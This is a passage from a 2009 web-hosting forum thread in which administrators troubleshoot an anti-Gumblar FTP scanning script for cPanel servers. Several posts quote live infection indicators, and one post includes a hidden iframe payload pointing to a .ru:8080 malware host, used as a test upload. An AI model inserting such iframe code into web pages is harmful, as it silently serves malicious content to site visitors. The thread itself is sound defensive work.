Community Forums
Connect with us on LinkedIn
Community Notice
+ Reply to Thread
Page 2 of 9 FirstFirst 1 2 3 4 ... LastLast
Results 16 to 30 of 124
  1. #16
    Member
    Join Date
    Apr 2005
    Location
    Istanbul / Turkey
    Posts
    57

    Default

    Quote Originally Posted by isputra View Post
    Code:
    $GLOBALS["whmhash"]        ="511e....2c";                // whm remote access key for root user
    What is this mean ?

    Can I install this script under /usr folder not /root folder ? I know that some configuration on ftp_clamscan.php has to be change to /usr. But is there any downside not using root folder ?
    This is Remote Access Key. Script using this key for access to whm and changing password of attacked domain.

    You have to access WHM as root for getting this key. Use this url after login to whm : http://www.yourserver.net:2086/scripts/setrhash

    or find Set Remote Access Key link on left menu...

  2. #17
    Member
    Join Date
    Jun 2003
    Location
    Bharat
    Posts
    230

    Default

    hidonet

    What your script is not doing is:

    does not log IP,
    does not block IP,
    does not change password.

    It would be good if you can fix that, below is the sample mail that I get after an attack happens:

    Warning !!!

    17.08.2009 12:26:52 Monday
    There is a GUMBLAR ATTACK on account

    Infected file : /home/vncind/public_html/support/templates/Bliss/images/index.php

    Infection : .ru:8080/ at line 50

    Action : File moved to : /karantina/clamav//index.php.20090817122652

    Password might be changed to : ibHpcgHVOk



    Ret : Array<passwd>
    <passwd>
    <rawout></rawout>
    <services></services>
    <status>0</status>
    <statusmsg>No account was specified.</statusmsg>
    </passwd>
    </passwd>

    <!-- Web Host Manager (c) cPanel, Inc. 2008 cPanel Inc. Unauthorized copying is prohibited. -->

    Process Killed :
    Vinayak Sharma
    Vinsar.Net - Quality WebHosting Services at Economical Price USA & UK Servers
    Book Your Domain with Confidence Reliable Domain Reseller Account

  3. #18
    Member
    Join Date
    Apr 2005
    Location
    Istanbul / Turkey
    Posts
    57

    Default

    does not log IP,

    if your FTP server not adds log to /var/log/messages ip will not discovered

    does not block IP,

    if your FTP server not adds log to /var/log/messages ip will not discovered

    does not change password.

    I think your ftp_clamscan.sh is old or WHM Remote Access Key is wrong

    Are you trying latest files ?

    If you can't solve I can help you... my msn address is msndestek@oxio.net
    Last edited by hidonet; 08-17-2009 at 10:30 AM.

  4. #19
    Member
    Join Date
    Jun 2003
    Location
    Bharat
    Posts
    230

    Default

    Do you mean ftp_clamscan.sh and ftp_clamscan.php are two different files?

    I am using only ftp_clamscan.php that is provided by you at http://www.oxio.net/anti_gumblar/ftp_clamscan.phps

    I have followed the instructions at Anti-Gumblar Protection Documentation

    If the file ftp_clamscan.sh is a different file, where to get it from and where to read more about it?
    Vinayak Sharma
    Vinsar.Net - Quality WebHosting Services at Economical Price USA & UK Servers
    Book Your Domain with Confidence Reliable Domain Reseller Account

  5. #20
    Member
    Join Date
    Apr 2005
    Location
    Istanbul / Turkey
    Posts
    57

    Default

    Quote Originally Posted by Vinsar View Post
    Do you mean ftp_clamscan.sh and ftp_clamscan.php are two different files?

    I am using only ftp_clamscan.php that is provided by you at http://www.oxio.net/anti_gumblar/ftp_clamscan.phps

    I have followed the instructions at Anti-Gumblar Protection Documentation

    If the file ftp_clamscan.sh is a different file, where to get it from and where to read more about it?
    Yes ftp_clamscan.sh and ftp_clamscan.php is different files. ftp_clamscan.sh is passing FTP values to ftp_clamscan.php. If you don't use .sh file username will not discovered...

    I will fix documentation if there is mistake and I will use only PHP file in next release...
    Last edited by hidonet; 08-17-2009 at 01:48 PM.

  6. #21
    Member
    Join Date
    Jun 2003
    Location
    Bharat
    Posts
    230

    Default

    But as of now where is the file ftp_clamscan.sh, from where can we download this file?
    Vinayak Sharma
    Vinsar.Net - Quality WebHosting Services at Economical Price USA & UK Servers
    Book Your Domain with Confidence Reliable Domain Reseller Account

  7. #22
    Member
    Join Date
    Apr 2005
    Location
    Istanbul / Turkey
    Posts
    57

    Default

    You'll find all needed files in http://www.oxio.net/anti_gumblar/anti_gumblar.tar.gz...

    Note : PHP File source on site is just for information...

  8. #23
    Member
    Join Date
    Jun 2003
    Location
    Bharat
    Posts
    230

    Default

    There is only ftp_clamscan.php file in http://www.oxio.net/anti_gumblar/anti_gumblar.tar.gz no ftp_clamscan.sh, can you please include both the files in that tar file.
    Vinayak Sharma
    Vinsar.Net - Quality WebHosting Services at Economical Price USA & UK Servers
    Book Your Domain with Confidence Reliable Domain Reseller Account

  9. #24
    Member
    Join Date
    Aug 2006
    Posts
    21

    Exclamation

    Hi,

    I notice that the script will scan the overwrited file and move it to quarantine.

    Eg : public_html/index.php and if the attack is overwrite the index.php , the existing index.php will be remove and moved to quarantine folder.

    Is there anyway, that we can avoid the overwrite and avoid removal of existing index.php file ?

    Probably scanning during the upload before the overwrite happened ?

  10. #25
    Member
    Join Date
    Apr 2005
    Location
    Istanbul / Turkey
    Posts
    57

    Default

    Quote Originally Posted by smksa View Post
    Hi,

    I notice that the script will scan the overwrited file and move it to quarantine.

    Eg : public_html/index.php and if the attack is overwrite the index.php , the existing index.php will be remove and moved to quarantine folder.

    Is there anyway, that we can avoid the overwrite and avoid removal of existing index.php file ?

    Probably scanning during the upload before the overwrite happened ?
    I want to scan before overwrite but this is not possible at this time.
    I've contacted to author of PureFTPd and asked him. He did not replied me yet.

  11. #26
    Member
    Join Date
    Apr 2005
    Location
    Istanbul / Turkey
    Posts
    57

    Default

    Quote Originally Posted by Vinsar View Post
    There is only ftp_clamscan.php file in http://www.oxio.net/anti_gumblar/anti_gumblar.tar.gz no ftp_clamscan.sh, can you please include both the files in that tar file.
    Sorry for that. Please download and try again...

  12. #27
    Member isputra's Avatar
    Join Date
    May 2003
    Location
    Mbelitar
    Posts
    593

    Default

    It's not working. After install this script like the manual and restart FTP then i try to upload file with this code in it :

    PHP Code:
    <iframe src="http://39q.ru:8080/index.php" width=124 height=163 style="visibility: hidden"></iframe
    The file i called if-rame.html still can through the FTP process and reside on server without rejection from this script.

    So.. how to get this script working ?
    It's me ...... It's me ......

  13. #28
    Member
    Join Date
    Apr 2005
    Location
    Istanbul / Turkey
    Posts
    57

    Default

    I'm going to update my script.

    these changes will be applied to script very soon:

    1 ) sh files need not be
    2 ) user name will be extracted from the file path. This was a bug. Pure FTP not returning username and other arguments.
    3 ) i will try to extract clean copy of infected file from backup.

  14. #29
    Member
    Join Date
    Aug 2006
    Posts
    21

    Question

    Have pureftpd author responded to your question regarding scanning while uploading ?

    I think this will be better solution.

  15. #30
    Member
    Join Date
    Apr 2005
    Location
    Istanbul / Turkey
    Posts
    57

    Default

    Quote Originally Posted by smksa View Post
    Have pureftpd author responded to your question regarding scanning while uploading ?

    I think this will be better solution.
    no response from author

Similar Threads & Tags
Similar threads

  1. Effective iframe/gumblar hack prevention?
    By Wallaby in forum Security
    Replies: 5
    Last Post: 04-30-2010, 12:36 PM
  2. SOLUTION for Gumblar/IFRAME/JS hacks with stolen FTP Passwords...
    By hidonet in forum cPanel and WHM Discussions
    Replies: 98
    Last Post: 12-22-2009, 11:44 PM
  3. iframe / javascript hacks?
    By jack01 in forum Security
    Replies: 612
    Last Post: 11-20-2009, 10:14 PM
  4. iframe / javascript hacks?
    By jack01 in forum cPanel and WHM Discussions
    Replies: 612
    Last Post: 11-20-2009, 10:14 PM
  5. IP addresses from IFrame Hacks
    By noimad1 in forum cPanel and WHM Discussions
    Replies: 22
    Last Post: 01-29-2008, 05:41 AM
Linkedin       Facebook       Twitter       RSS       Flickr       YouTube